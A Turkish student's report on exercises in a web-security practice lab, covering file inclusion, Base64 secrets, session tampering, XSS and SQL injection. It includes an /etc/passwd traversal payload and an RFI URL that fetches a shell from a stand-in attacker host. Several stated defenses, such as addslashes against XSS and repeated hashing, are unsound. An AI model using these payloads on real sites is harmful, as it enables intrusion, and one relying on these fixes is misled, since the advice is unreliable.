**RFI ve LFI**

**File Inclusion :** Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel(local) ve uzaktan(remote) kod çalıştırmasına olanak sağlar.

**LFI (Local File Inclusion) :** Yerelden dosya ekleyerek kod çalıştırmaktır.

**RFI (Remote File Inclusion) :** Uzaktan dosya ekleyerek kod çalıştırmaktır.

PHP web programlama dili ile kodlanmış uygulamalarda, yazılımcıların tanımladıkları değişkene değer atamaması veya atanan değerlerin filtrelenmemesinden kaynaklanmaktadır. Aşağıdaki örnek kod satırları ile detayları uygulamalı olarak inceleyelim;

***LFI (Local File Inclusion) Örneği***

*index.php dosyası:  
<?php  
include($\_GET['sayfa'])  
?>*

Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:

index.php?sayfa=haberler.php

index.php?sayfa=iletisim.php

En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:

**\* index.php?sayfa=../../../../../../../../../etc/passwd**

Yukarıdaki “**../**” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun **/etc/passwd** içeriğini yani user listesini ekrana yazdırır:

*root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/bin/sh  
bin:x:2:2:bin:/bin:/bin/sh  
…..*

**RFI (Remote File Inclusion) Örneği**

index2.php dosyası:

*include(“$duyurular/guncel/duyuru.php”);*

Bu satırdaki “$” işareti bulunan paramtreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.

“**http://www.hedef.com/index2.php?duyurular=http://saldirgan.com/shell.txt?**”

Yukarıdaki şekilde, **http://saldirgan.com/shell.txt?** adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.

Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları **r57, C99** ve veryasyonlarıdır…

**RFI/LFI SALDIRILARIM**

Saldırımın low seviyesinde sadece GET fonksiyonuyla çağırılan dil php dosyasının ismini herhangi başka gir php dosyası ile değiştirerek saldırdım bu şekilde gelmesi gereken dil dosyası yerine dizinde bulunan başka bir php dosyasını getirdim.

Saldırımın medium seviyesinde ise php kodunu incelediğimde alınan güvenlik önleminin çağırılan ismi alıp sonuna .php eklentisi eklendiğini gördüm low seviyede login.php çağırırken burda sadece linke login yazdığımda açığı istismar etmiş oldum.

**RFI/LFI Savunmam**

Low ve medium seviye içinde güvenli bir dizi oluşturdum. Bu diziye çağırıla bilecek tüm dosya isimlerini ekledim sonrada bu dosya isimlerini linkte çağırılan isimlerle karşılaştırarak karşılaştırma sonucunda dizi içinde varsa gerekli işlemi yapan yoksa yapmayan kodu low ve medium seviyeye ekledim.

[**Base64**](https://wmaraci.com/nedir/base64)

[**Base64**](https://wmaraci.com/nedir/base64), [PHP](https://wmaraci.com/nedir/php) [programlama dili](https://wmaraci.com/nedir/programlama-dili) içerisinde 8 bitlik verileri 64 bite çevirmek amacıyla kullanı[lan](https://wmaraci.com/nedir/lan) bir [kodlama](https://wmaraci.com/nedir/kodlama) tekniğidir. 8 [bit](https://wmaraci.com/nedir/bit)değerine sahip olan veriler ile 64 bitlik veriler arasında farklı katmanlı iletişimlerin meydana gelmemesi için bu basit kodlama tekniği kullanılır. Böylece iletişim sırasında katmanlardan dolayı meydana çıkabilecek [veri kaybı](https://wmaraci.com/nedir/veri-kaybi) önlenir.

**Base64 Encode**

Temelde bir kodlama tekniği olmasına karşın Base64 birçok yazılımcı tarafından bazı verileri şifrelemek amacıyla [da](https://wmaraci.com/nedir/da)kullanılıyor. Özellikle ücretsiz olarak dağıtılan temaların içerisinde [Footer](https://wmaraci.com/nedir/footer) linklerinin kaldırılmaması gibi farklı amaçlarla buraya ait olan kodlar base64 ile encode edilir. Encode edilmiş veriler tıpkı şifreli göründüğü için programlama bilgisine sahip olmayan kişiler bu kodları çözümleyemez ve kodlar üzerinde değişiklik meydana getiremez. Değişiklik meydana getirildiğinde de [tasarım](https://wmaraci.com/nedir/tasarim) üzerinde bozulmalar meydana gelir.

PHP kodlama tekniğ[ini](https://wmaraci.com/nedir/ini) kullanarak herhangi bir metni ve elementi encode etmek son derece basittir. Encode işlemi için boş bir PHP sayfası oluşturduktan sonra aşağıdaki örnek fonksiyonu kullanabilirsiniz;

base64\_encode('şifrelenecekod')

?>

**BASE 64 ENCODİNG ( SECRET ) SALDIRIM**

Yaptığım saldırının low seviyesinde cookie bilgime gizlenen sırrın php koduna baktığımda base64 ile şifrelendiğini gördüm bunun için çok basit bir şekilde internet sitesi üzerinden base64decode işlemi yaparak saklanan sırrın ne olduğunu öğrendim.

Yaptığım medium ve high seviye saldırısında ise ( medium ve highda aynı önlem alınmış ) sha1 ile şifrelendiğini görüdüm yine lowda yaptığım gibi bunuda basit bir internet sitesi aracılığıyla decode ederek sırrı elde ettim.

**BASE 64 ENCODİNG ( SECRET ) AÇIK KAPATMAM**

Şifrelemelerin tek sefer yapılmasından dolayı oluşan açığı şifreleme işlemini çoğaltarak önledim bu şekilde sır çözülemeyecek kadar şifrelenip korundu. Tüm güvenlik seviyelerinde aynı önlemi aldım.

**SESSİON MANAGEMENT – ADMİNİSTRATOR PORTALS**

Oturum Yönetimi

Amaç Aşağıdakileri sağlamak

• kimliği doğrulanmış kullanıcıların açtıkları oturumları ile sağlam ve kriptoğrafik olarak güvenli bir bağları olması

• yetkilendirme kontrollerinin uygulanması

• tekrarlama, istek sahteciliği ve araya girme saldırıları gibi yaygın web saldırılarının önlenmesi

Etkilenen Platformlar

Hepsi.

İlgili COBIT Konuları

PO8 – Bütün bölümler gözden geçirilmeli.

PO8.4 – Gizlilik, kişisel mülkler ve veri akışı Açıklama Kalın istemci (thick client) uygulamaları, programın yaşam boyunca lokal durum bilgilerini, işletim sistemi tarafından sağlanan global, yığıt ve yığın değişkenleri gibi hafıza bölgelerinde tutarlar. Web uygulamalarında sunucu, istemci isteklerine cevap olarak sayfaları sunar. Dizayn olarak, belirgin bir durum bilgisi olmadığından, sunucu geçmişte sunduğu sayfalar hakkında herşeyi unutmakta serbesttir. Bu durum broşür veya resim gibi içerikleri sunarken iyi çalışır ama formları doldurmak veya internet bankacılığı uygulamaları gibi birbirinden ayrı tutmanız gereken çok kullanıcınız olması gibi önemli işleri yapmak istediğinizde iyi çalışmaz. Web sunucuları kişisel kullanıcıların isteklerini cookiede biricik bir “oturum”a kriptoğrafik değer tutarak kullanıcılara “durum bilgili” bir his veren J2EE veya ASP.NET gibi uygulama çatıları ile desteklenirler. Kullanıcı isteklerini biricik oturum bilgileri ile kısıtlamak ve idame ettirmek web güvenliği için kritiktir. Bu kılavuz kullanıcılarının çoğu gömülü oturum yönetim kabiliyetleri olan uygulama çatıları kullanıyor olsalar da, Perl CGI gibi dilleri kullanıcılarına bu tür kabiliyetler sunmaz. Bu kullanıcılar kendi oturum yönetim kodlarını kendileri yazmak gibi bir dezavantaj ile karşı karşıyadırlar. Bu gerçeklemeler (implementations) çoğu zaman zayıftırlar ve kırılabilirler. Yapılan diğer bir hata da, güçlü bir oturum yönetim yapısının üzerine daha zayıf bir yapının yazılmasıdır. Teorik olarak kriptoğrafik açıdan güvenli bir oturum yönetim yapısı yazma mümkündür, ki bu bölümün ana konusu budur. Ancak, biz ölümlüler için yeterli bir oturum yönetimi yapısı içeren bir uygulama çatısı kullanmanın önemi ne kadar vurgulansa azdır. Bu tür yapıları tekrar yazmanın hiç bir gerçek değeri yoktur. J2EE, PHP, ASP ve ASP.NET gibi uygulama çatıları bir çok alt seviye oturum yönetimi detaylarını ve sunucu seviyesinde değil de programlama seviyesinde iyi düzeyde kontrol sağlarlar. Mesela, ASP.NET, her sayfada bir gizli alanda oluşturulan karmaşıklaştırılmış oynamalara dayanıklı “view state” mekanizması kullanır. View state hassas olmayan değişkenlerin, web kontrol yollarının ve bunun gibi şeylerin gönderilmesi için kullanılabilir. Programlama yolları kullanılarak, değişkenlerin view state’a girip girmemesini kontrol etmek mümkündür, özellikle aynı uygulamanın farklı sayfalarında bir kontrol’ün durum bilgisinin tutulmasına gerek yoksa. Eğer kullanıcıya hassas veri yolluyorsanız view state’in kriptolamak ta mümkündür, ancak bu tür değişkenlerin sunucu tarafında tutulması daha iyidir. Bu indirme süresininden kısar, kullanılan bandwith’i düşürür ve çalıştırma zamanını iyileştirir. Dikkatli yazılmış bir view state yönetimi iyi ayarlanmış uygulama ile kötü performanslı bir uygulama arasındaki farktır. En iyi yöntemler En iyi yöntem tekerleği yeniden icat etmek değil, iyi bilinen ve sağlam bir oturum yöneticisini kullanmaktır. Popüler web uygulama çatılarının çoğu uygun bir yapı sağlarlar. Ancak, çoğunlukla ilk versiyonları belirgin zayıflıklar içerir. Daha sağlam ve kriptoğrafik açıdan daha güvenli olacağından seçtiğiniz teknolojinin her zaman en yeni versiyonlarını kullanın. Bunun böyle olduğunu anlamak için de favori arama moturununuzu kullanın.

Uygulama durum bilginizi nerde tuttuğunuzu dikkatlice düşünün:

• Yetkilendirme ve rol bilgileri sadece sunucu tarafında tutulmalıdır

• Denetlemeden geçtiği ve yetkilendirme kontrolleri olduğu sürece Navigasyon bilgisinin URL’de olması nerdeyse tamamen kabul edilebilir.

• Sunum bayrakları (theme veya kullanıcı dili) cookie’lerde kalabilir.

• Form verileri gizli alanları içermemelidir – eğer gizli ise korunmalı ve sunucu tarafında saklanmalı demektir. Ancak, gizli alanlar sıra (sequence) ve kaba kuvvet pharming saldırılarına karşı koruma olarak kullanılabilirler (hatta kullanılmalıdırlar). Bir çok sayfadan oluşan formlardan gelen veri tekrar kullanıcıya iki durumda gönderilebilir:

• Veri oynanmasını engellemek için bütünlük kontrolleri varlığında

• Her form gönderiminde veya en azından gönderim sürecinin en sonunda veri denetlendiğinde

• Uygulama hassas bilgileri (sunucu tarafı ile ilgili kimlik ve rol bilgileri) kesinlikle istemciye gitmemelidir. Bunlar bir oturumda ve sunucu tarafında tutulmalıdırlar. Eğer şüpheye düşerseniz, risk almayın ve veriyi sunucu taraflı oturumda tutun.

**SESSİON MANAGEMENT SALDIRIM**

Saldırımın low seviyesinde admin değeri link üzerinden get ile alınıyordu ve ilk değer 0 dı .

Bu 0 değerini link üzerinden 1 yaptığım zaman önlemi manipülasyon etmiş oldum ve admin olarak oturuma girmiş oldum.

Saldırımın high ve medium seviyesinde ise ( high ve medium aynı önlem ) adminlik değerim cookieme gizlenmiş şekildeydi cookiemi Google Chromenin chrome marketinde açık şekilde sunulan Edit This Cookie uygulamasını kullanarak cookiemdeki admin=0 değerini admin=1 yaparak manipüle ettim ve admin olarak oturuma girdim.

**SESSİN MANAGEMENT AÇIĞINI KAPATMAM**

Aldığım güvenliği öncelikle low seviyedeki get ile alınma kısmını kaldırmak oldu. Ondan sonra 3 seviyeyide cookieye eklenecek şekilde değiştirdim. Sonra ise cookieye gizlenen veriyi sha1 fonksiyonunu kullanarak şifreledim bu şekilde cookiemde hazır bir şekilde 0 veya 1 değeri olmadı bu şekilde admin olarak oturum açmayı imkansız kılmış oldum.

## XSS(Cross Site Scripting)

**XSS Türleri:**

Başlamadan önce XSS Türleri hakkında kısaca bilgi vereyim.3 Çeşit XSS Türü vardır.1- Reflected XSS 2- Stored/Persistent XSS 3- Dom XSS

1. **Reflected XSS:**Kullanıcının girilmesi beklenen parametre yerine Javascript  kodu girerek bunu ekrana yansıtması ile tespit edilebilen XSS çeşitidir.
2. **Stored/Persistent XSS:**Adında anlaşılacağı üzere kalıcı XSS türüdür.Bu sefer girilen payloadlar anlık olarak yansımaz bir veritabanına yada başka bir yere kayıt edilir daha sonradan ziyaret edildiğinde çalışan XSS çeşitidir.
3. **Dom XSS:**Dom (Document Object Model) XSS Dom lardan kaynaklanan XSS dir.Gemelde # işaretinden sonra payload denenmesi ve sayfa yenilendiğinde alert alındığında DOM XSS var denilen XSS açıklığıdır.İşin teorik bilgisi DOM nesnesinden kaynaklandığı için en tehlikeli XSS türü olarak anılmaktadır.Derinlemesine öğrenmek için [Ömer](https://twitter.com/Om3rCitak)‘in <http://omercitak.com/dom-based-xssi-anlamak/> yazısına mutlaka göz atın derim güzel bir yazı olmuş.

**XSS ile Neler Yapılabilir?**

XSS ile javascript kodları çalıştırabilmekteyiz.Burada zararlı kodlar kullanıldığında  Cookie çalma,sayfanın içinde başka sayfaya yönlendirme.Sitemize zararlı kodlar gömerek istedikleri başka saldırılar gerçekleştirebilirler.Web dünyasında önemli ve kritik açıklıklar arasında yer almaktadır.BeEF (The Browser Exploitation Framework Project) ile XSS açıklıklarını sömürebilirsiniz.

XSS SALDIRIM

Saldırımın low seviyesinde herhangi bir güvenlik önlemi olmadığı için direk scriptimi işleyerek istismar ettim. Saldırımın Medium seviyesinde htmlspecialchars ile önlem alındığı için asıl script kodumu “ lar arasına gizleyerek “ lar silindiğinde bile çalışabilecek hale getirdim bu şekilde tüm kod silinmedi ve istismar etmiş oldum.

XSS Güvenlik Önlemim

Xss saldırısını önlemek için addslashes hazır fonksiyonunu kullandım bu fonksiyon “ ‘ / gibi ifadelerin başına / getiriyor ve data baseye yazılırken bozulmasını sağlıyor bu şekilde güvenlik önlemimi alıp güvenliği sağlamış oldum.

# SQL Injection

**SQL Injection** web uygulamalarında ki en ciddi açıkların başında gelir. Özellikle frameworkler ve ORM (Object Relational Mapping) gibi ekstra veritabanı katmanlarının popülerleşmesi ile eskisine göre bugünlerde biraz daha az görülmektedir ama emin olun hala heryerdeler!

Web uygulaması geliştiricilercileri SQL Injection’ ı tam anlamadıklarından dolayı bazı ölümcül hatalar yaparlar. Bu yüzden bugün bilinen basit SQL Injection metodları o kadar çok görünmese de ileri de anlatacağımız ileri seviye SQL Injection açıklarını çok büyük firmalardan, hazır sistemlere kadar bir çok yerde görebilirsiniz.

### ****Güvenlik Günahı !****

Ben hackleyemediysem kimse hackleyemez.

Güvenlikteki büyük günahlardan biri kişilerin bazı açıklar hakkında “ben hackleyemediysem güvenlidir.” diye düşünmeleri. Yazı dizisi boyunca bu şekilde bir dizi SQL Injection şehir efsanelerine de yer vereceğiz.

**Son olarak SQL Injection hakkında önemli bir not,**  
SQL Injection **veritabanından** ve **dilden bağımsız olarak** her türlü uygulama-veritabanı ilişkisine sahip sistemde bulunabilir ve bu **veritabanlarının** **bir açığı değildir**. SQL Injection’ dan korunmak **web geliştiricisinin** görevidir.

SQL İnjection Saldırım

Saldırımda güvenlik önlemi olmadığı için direk sql kodu olan sleep fonksiyonunu form elemanına enjekte ederek data basenin 5 saniye geç cevap vermesini sağladım. Yani sistemi yordum.

SQL Güvenlik Önlemim

Sql açığını hazır bir fonksiyon olan addslashes fonksiyonu kullanarak kapattım . bu fonksiyon “ ‘ / gibi ifadelerin başına / getiriyor ve data baseye yazılırken bozulmasını sağlıyor bu şekilde güvenlik önlemimi alıp güvenliği sağlamış oldum.

HAZIRLAYAN =

CAN HAKTAN KARADAL